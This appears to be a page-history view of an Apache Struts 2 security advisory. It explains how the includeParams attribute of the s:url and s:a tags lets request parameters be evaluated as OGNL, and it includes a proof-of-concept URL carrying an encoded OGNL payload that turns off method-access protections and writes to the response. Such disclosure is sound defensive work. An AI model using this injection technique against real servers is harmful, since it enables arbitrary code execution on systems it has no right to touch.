Page History

Summary

...

...

Problem

Both the s:url and s:a tag provide an includeParams attribute.

The main scope of that attribute is to understand whether includes http request parameter or not.

The allowed values of includeParams allowed values for the attribute are:

1. none - include no parameters in the URL (default)
2. get - include only GET parameters in the URL
3. all - include both GET and POST parameters in the URL

...

The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

Proof of concept

1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:

   Code Block
   includeParams="all"

   Such that the line will be something look like this:

   Code Block
   xml xml
   <s:url id="url" action="HelloWorld" includeParams="all">

   (it works also with includeParams="get").

2. Run struts2-blank app
3. Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
   (this is the shortened version http://goo.gl/lhlTl^{Image Removed})

In As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter.

...

...